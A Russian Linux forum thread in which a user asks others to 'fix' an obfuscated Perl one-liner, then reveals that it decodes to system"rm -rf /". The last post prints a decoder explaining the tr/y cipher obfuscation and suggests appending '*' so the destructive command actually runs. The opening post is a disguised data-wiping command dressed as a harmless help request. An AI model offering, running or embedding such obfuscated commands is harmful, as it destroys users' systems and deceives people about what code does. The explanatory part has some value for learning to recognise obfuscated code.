Уважаемые гости и пользователи форума!
Чтобы видеть ссылки на форуме - надо зарегистрироваться и иметь 1 пост на форуме. Для этого есть КУРИЛКА и там тема Здрасти.

программа из одной строчки на Perl

После удачной (ну... или неудачной) установки очередного сервера хочется расслабиться (или... выпустить пар :-)) и с кем-нибудь поговорить на отвлечённые темы.
Говорим обо всём.

Модераторы: rewuxiin, kulia

Правила форума
Условием использования нашего форума, является соблюдение настоящих Правил форума.

Ваш вопрос может быть удален без объяснения причин, если на него есть ответы по приведённым ссылкам, а вы рискуете получить предупреждение.
Аватара пользователя
SinglWolf
Контактная информация:
Откуда: Башкирия
Сообщения: 2618
Зарегистрирован: 23 янв 2012, 22:11

программа из одной строчки на Perl

09 окт 2017, 18:11

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает
► Показать
rewuxiin
Супер модератор
Супер модератор
Сообщения: 222
Зарегистрирован: 30 окт 2012, 15:14

09 окт 2017, 18:19

чур меня
Аватара пользователя
kulia
Откуда: Москва
Сообщения: 147
Зарегистрирован: 28 май 2014, 14:59

09 окт 2017, 19:08

SinglWolf писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не, ну Вы там на своем птичьем разговариваете, а мне вот даже интересно стало, что тут зашифровано.
Я в таких perl-ах не силен, понаписали тут крикозябликов, а что оно делать то должно??? Понятно что что-то вывести, но не понятно что *CRAZY* :-D
Создал на Линукс-форуме тему "Установка Internet Explorer под Убунту".
Тему удалили через 4 минуты, выдали бан на 10 дней...
Аватара пользователя
SinglWolf
Контактная информация:
Откуда: Башкирия
Сообщения: 2618
Зарегистрирован: 23 янв 2012, 22:11

09 окт 2017, 19:40

Там "зашифровано"

Код: Выделить всё

rm -rf /*
Делайте выводы сами. Без комментариев.
Аватара пользователя
kulia
Откуда: Москва
Сообщения: 147
Зарегистрирован: 28 май 2014, 14:59

09 окт 2017, 19:51

Теперь понятно что он выводит... из строя :-D
Создал на Линукс-форуме тему "Установка Internet Explorer под Убунту".
Тему удалили через 4 минуты, выдали бан на 10 дней...
Аватара пользователя
SinglWolf
Контактная информация:
Откуда: Башкирия
Сообщения: 2618
Зарегистрирован: 23 янв 2012, 22:11

10 окт 2017, 11:29

Кому интересно как работает!
обычная шифровка и немного знания, как работает оператор tr/// он же y///.
создаётся алгоритм шифрования типа ключ -> значение
(часто встречается в путаном коде)

Код: Выделить всё

#!/usr/bin/perl -w
use strict; 
##  Патч Бармина
my $str = "=]=>%-{<-|}<&|`{";
 
  my $a1='';
  $a1 =~ s:: !"#$%&'()*+,-./: ;
 print "a1=$a1\n";                         # -/
  my $a2='';
  $a2 =~ s//:;<=>?@/ ;
 print "a2=$a2\n";                         #:-@
  my $a3='';
  $a3 =~ s::[\]^_`: ;
 print "a3=$a3\n";                         #[-`
  my $a4='';
  $a4 =~ s::{|}: ;
 print "a4=$a4\n";                         #{-}
  my $a5='';
  $a5 =~ s::`abcdefghijklmnopqrstuvwxyz{: ;
 print "a5=$a5\n";                         #`-{
 
 $str =~ y# -/:-@[-`{-}#`-{/" -#  ;
 
### (ключ) !"#$%&'()*+,-./:;<=>?@[\]^_`{|}  ###
### (значение)`abcdefghijklmnopqrstuvwxyz{/" -###
# сверху ключ,под ним снизу его значение.
# и посимвольно '=' => 's', ']' => 'y', ....и т.д.
# (шифр) =]=>%-{<-|}<&|`{  ==>  (расшифровка) system"rm -rf /"
 
print "str = $str\n";
используя этот метод можно сделать не явным если не всё,то почти всё в коде.
также решить первоначальный вопрос - почему не работает?
если не Windows, то, например, добавить в конец команды '*', или что-то ещё.
P.S. так что никаких угадываний - чистая математика.

Вернуться в «Курилка»